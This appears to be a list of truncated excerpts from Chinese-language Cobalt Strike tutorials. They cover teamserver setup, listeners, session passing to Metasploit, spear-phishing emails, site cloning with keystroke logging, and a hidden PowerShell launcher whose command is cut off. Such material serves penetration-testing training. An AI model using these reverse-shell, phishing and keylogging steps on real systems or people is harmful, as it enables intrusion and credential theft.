:::info 💡 强强联合！！！ ::: CobaltStrike To MSF 主机上线 cobaltstrike 生成 windows 木马 上线 windows 机器（以 win 7 为例） 开启监听 msf 开启监听 set payload windows/meterpreter/reverse_http 要使用 http 反弹，应为 c…
生成钓鱼邮件 Attacks-SpearPhish 打开配置窗口 配置参数： Targets：目标（通常为 txt 文本导入） Template：邮件模板 Attachment：附件 Embed URL：嵌入 URL Main Server：邮件服务器 Bounce To：退信通知邮箱 整理目标邮箱 整理成 txt 格式，每行一个邮箱，然后导入 t…
:::danger 有两个问题： https 的网站和复杂一点的 http 网站无法克隆 键盘记录只能记录英文输入，如果汉字输入法无法记录 ::: 网站克隆 打开 Attack-WebDriveBy-CloneSite 配置参数 Clone URL：目标网站 URL Local URI：配置 URI，默认 / Local Host：本地主机地址 L…
前提：目标主机已经上线 打开 Interact 窗口 在已上线的主机列表中，选中需要交互的主机，右键，选择 Interact 打开交互窗口，进入 beacon 命令行 设置 sleep 值 sleep 3 设置 sleep 的值为 3，单位为 s sleep 为休眠时间，默认 60s，也就是说默认情况下，在 beacon 中执行的每一条命令，60s…
生成恶意脚本 或者快捷图标中也可以直接进入 选择 Listener 选择刚才创建的 Listener，Type 根据实际情况选择（以 powershell 为例），点击 Launch 生成 复制 powershell 脚本 点击 Launch 后会弹出一段 powershell 脚本 powershell.exe -nop -w hidden -c…
CobalStrike 提供了 2 大类监听器：beacon 和 foreign beacon 为 cs 内置监听器，即在目标主机执行相应的 payload，获取 shell 反弹到 cs 上，4 版本的包括 http、https、dns、smb 四种。 foreign 为 cs 外部监听器，通常用来与 msf 等工具联动，例如获取 meterpr…
安装&启动 Server 端 ll 查看目录结构 chmod +x teamserver 赋权 ./teamserver 192.168.225.128 admin 启动 192.168.225.128 是服务端本机的 IP（即 Kali 的 IP） admin 是一个自定义的登录密码，可以自行更改 启动报错 如果遇到 Address al…
简介 Cobalt Strike 是美国 Red Team 开发的渗透测试工具。是以 Metasploit 为基础的 GUI 框架式工具，集成了端口转发、服务扫描、自动化溢出、多模式端口监听、木马生成、木马捆绑、钓鱼攻击、信息收集等模块 官网：https://www.cobaltstrike.com 网盘下载：https://pan.baidu.c…